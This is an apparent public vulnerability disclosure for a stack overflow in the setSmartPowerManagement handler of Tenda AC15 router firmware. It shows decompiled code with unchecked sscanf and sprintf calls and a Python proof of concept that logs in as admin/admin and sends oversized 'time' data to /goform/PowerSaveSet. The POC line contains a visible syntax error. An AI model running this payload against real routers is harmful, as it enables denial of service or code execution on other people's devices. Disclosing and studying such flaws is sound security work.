

main ▾

...

[Router-vuls](#) / [Tenda](#) / [AC15](#) / setSmartPowerManagement.md

CPSeek Create setSmartPowerManagement.md

[History](#)

1 contributor

119 lines (98 sloc) | 3.17 KB

...

Tenda AC15 stack overflow vulnerability

* Version

V15.03.05.19 (US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin)

* Firmware

<https://www.tenda.com.cn/download/detail-2680.html>

* Vulnerability Detail

In function setSmartPowerManagement, the content obtained by the program from the parameter "time" is passed to local_1c, and then the local_1c is directly parsed into the local_2c, local_34, local_3c, local_44 stack through the sscanf function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void setSmartPowerManagement(undefined4 param_1)

{
    int iVar1;
    undefined4 local_164;
    undefined4 local_160;
```

```
undefined4 local_15c;  
undefined4 local_158;  
undefined4 local_154;  
undefined4 local_150;  
undefined4 local_14c;  
undefined4 local_148;  
char acStack324 [128];  
char acStack196 [128];  
undefined4 local_44;  
undefined4 local_40;  
undefined4 local_3c;  
undefined4 local_38;  
undefined4 local_34;  
undefined4 local_30;  
undefined4 local_2c;  
undefined4 local_28;  
char *local_24;  
undefined4 local_20;  
char *local_1c;  
char *local_18;  
undefined4 local_14;
```

```
local_18 = (char *)0x0;  
local_1c = (char *)0x0;  
local_20 = 0;  
local_24 = (char *)0x0;  
local_2c = 0;  
local_28 = 0;  
local_34 = 0;  
local_30 = 0;  
local_3c = 0;  
local_38 = 0;  
local_44 = 0;  
local_40 = 0;  
memset(acStack196,0,0x80);  
memset(acStack324,0,0x80);  
local_164 = 0;  
local_160 = 0;  
local_15c = 0;  
local_158 = 0;  
local_154 = 0;  
local_150 = 0;  
local_14c = 0;  
local_148 = 0;  
local_14 = 1;  
local_18 = (char *)FUN_0002ba8c(param_1,"powerSavingEn",&DAT_000f3d04);  
local_1c = (char *)FUN_0002ba8c(param_1,&DAT_000f3e50,"00:00-7:30");  
local_20 = FUN_0002ba8c(param_1,"powerSaveDelay",&DAT_000f3e8c);  
local_24 = (char *)FUN_0002ba8c(param_1,"ledCloseType","allClose");
```

```

sscanf(local_1c,"%[^:]:%[^-]-%[^:]:%s",&local_2c,&local_34,&local_3c,&local_44);
sprintf(acStack196,"%s:%s",&local_2c,&local_34); //here is overflow
sprintf(acStack324,"%s:%s",&local_3c,&local_44); //here is overflow
GetValue("sys.sched.led.closetype",&local_164);
iVar1 = strcmp(local_24,(char *)&local_164);
if (iVar1 != 0) {
    SetValue("power.sleep.closetype.changed",&DAT_000f3e8c);
}
SetValue("sys.powersleep.enable",local_18);
SetValue("sys.powersleep.start_time",acStack196);
SetValue("sys.powersleep.end_time",acStack324);
SetValue("sys.powersleep.type",local_20);
SetValue("sys.sched.led.closetype",local_24);
iVar1 = atoi(local_18);
...
}

```

* POC

```
import requests
```

```
cmd = b'powerSavingEn=1&time='+ b'A' * 800 + b':' + b'A' * 800 + '-' + b'A' * 800 +
```

```
url = b"http://192.168.2.2/login/Auth"
```

```
payload = b"http://192.168.2.2/goform/PowerSaveSet/?" + cmd
```

```
data = {
    "username": "admin",
    "password": "admin",
}
```

```
def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)
```

```
attack()
```